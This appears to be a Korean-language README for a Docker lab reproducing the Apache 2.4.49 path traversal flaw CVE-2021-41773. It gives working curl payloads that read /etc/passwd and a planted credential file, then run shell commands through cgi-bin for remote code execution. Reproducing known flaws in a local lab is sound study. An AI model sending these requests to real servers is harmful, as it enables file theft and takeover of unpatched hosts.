
원격 코드 실행으로 이어진 Apache 2.4.49의 흥미로운 논리 오류에 대한 재현 및 분석
CVE-2021-41773은 2021년 10월 Apache HTTP Server 2.4.49에서 발견된 경로 탐색(path traversal) 취약점입니다. 근본 원인은 요청된 경로가 웹 루트 내에 유지되는지 확인하기 전에 URL에 포함된 점(dot) 시퀀스를 제대로 정규화하지 못한 데 있었습니다. 이 취약점으로 인해 공격자는 웹 루트를 벗어나 서버 파일시스템의 모든 파일에 접근할 수 있었으며, 일부 경우에는 원격 코드 실행까지 권한이 상승할 수 있었습니다.
이 탐구에서 시연된 2가지 공격 벡터
Docker
curl
Linux 또는 macOS
Dockerfile - 취약한 Apache 2.4.49 컨테이너 빌드
exploit.sh - 자동 익스플로잇 체인 스크립트
README.md
Dockerfile 개요:
참고: docker가 설치되어 실행 중인지 확인하세요
옵션 1: 자동 스크립트
chmod +x exploit.sh
./exploit.sh
옵션 2: 수동 실행
이미지 빌드 및 컨테이너 실행:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
수동 실험을 위한 개별 curl 명령:
1단계 — 배치된 비밀 파일 읽기(순수 탐색, CGI 없음)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
2단계 — /etc/passwd 읽기(순수 탐색, CGI 없음)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
3단계 — RCE: 명령 실행(mod_cgi 필요)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
4단계 — 전체 체인: RCE를 통한 비밀 파일 읽기
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"